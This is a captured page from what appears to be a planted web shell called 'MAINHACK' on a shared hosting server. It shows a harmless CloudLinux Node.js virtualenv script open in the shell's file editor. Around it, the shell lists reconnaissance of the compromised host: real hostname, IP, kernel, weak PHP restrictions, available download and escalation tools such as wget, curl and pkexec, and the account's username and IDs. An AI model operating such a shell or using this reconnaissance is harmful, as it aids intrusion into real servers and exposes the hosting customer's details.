[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: nodevenv.py
File is not writable. Editing disabled.
# -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import print_function from __future__ import division from __future__ import absolute_import import getopt import os import shutil import sys from clselect.utils import mkdir_p WRAP_LIST = [ ['node', []], ['npm', []], ] SET_ENV_SCRIPT = 'set_env_vars.py' ACTIVATE_SCRIPT = 'activate' NODE_WRAPPER = 'node_wrapper' NPM_WRAPPER = 'npm_wrapper' NODE = 'node' NPM = 'npm' BIN_DIR = '/usr/share/l.v.e-manager/utils/' def fail_with(msg, exit_code=1): print(msg, file=sys.stderr) exit(exit_code) def create(destination, node=None, destroy_first=False): destination = os.path.expanduser(destination) venv_bin = os.path.join(destination, 'bin') if destroy_first: try: shutil.rmtree(os.path.join(destination, 'bin')) except (IOError, OSError): pass mkdir_p(venv_bin) set_env_script_abs = os.path.join(venv_bin, SET_ENV_SCRIPT) activate_abs = os.path.join(venv_bin, ACTIVATE_SCRIPT) node_wrapper_abs = os.path.join(venv_bin, NODE) npm_wrapper_abs = os.path.join(venv_bin, NPM) link_set_env_script = os.path.join(BIN_DIR, SET_ENV_SCRIPT) link_activate_path = os.path.join(BIN_DIR, ACTIVATE_SCRIPT) link_node_path = os.path.join(BIN_DIR, NODE_WRAPPER) link_npm_path = os.path.join(BIN_DIR, NPM_WRAPPER) os.symlink(link_activate_path, activate_abs) os.symlink(link_set_env_script, set_env_script_abs) os.symlink(link_node_path, node_wrapper_abs) os.symlink(link_npm_path, npm_wrapper_abs) def main(): try: opts, args = getopt.getopt(sys.argv[1:], 'n:r', ['node=', 'recreate-bin']) except getopt.GetoptError as err: print(str(err)) usage() sys.exit(1) node = None destroy_first = False if not args: print('no destination specified') usage() sys.exit(1) destination = args[0] for o, a in opts: if o in ('-n', '--node'): node = a elif o in ('-r', '--recreate-bin'): destroy_first = True else: print('unhandled option') sys.exit(1) try: create(destination, node, destroy_first=destroy_first) except OSError as e: fail_with(e.strerror) def usage(): print('Usage: ' + sys.argv[0] + ' [OPTIONS] VENV') print() print('Options:') print(' -n, --node PATH Node interpreter to use to create new venv') print(' -h, --help Show this message') if __name__ == '__main__': main()
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A